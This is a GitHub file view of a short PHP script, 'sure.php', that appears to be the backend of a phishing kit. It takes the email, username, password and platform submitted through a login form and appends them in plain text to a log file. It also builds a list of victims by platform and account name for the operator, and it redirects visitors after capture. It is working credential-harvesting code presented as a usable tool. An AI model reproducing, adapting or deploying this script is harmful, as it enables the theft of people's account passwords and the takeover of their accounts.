-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsure.php
More file actions
48 lines (35 loc) · 1.08 KB
/
sure.php
File metadata and controls
48 lines (35 loc) · 1.08 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$lines = file('./login.encrypt');
$before = $lines[0];
if ($ip == $before){$pathnext = "./index.php?pesan=2";}
else { $pathnext = "./login.php";
}header("Location: $pathnext");?>
<?php include './path.php'?>
<?php
$platfrom = $_POST['platfrom'];
$email = $_POST['email'];
$username = $_POST['username'];
$password = $_POST['password'];
$waktu = time();
function generateRandomString($length = 10) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
$random = generateRandomString();
$encrypt = "<encrypt>".$waktu.$random."</encrypt>";
$encrypthandle2 = "$waktu$random";
$handle = fopen("$pathnya","a");
fwrite($handle,"
$email|$username|$password|$platfrom|$encrypt
");
$handle2 = fopen("$pathconfig","a");
fwrite($handle2,"
<option value='$encrypthandle2'> $platfrom - @$username ($email) </option>
");
?>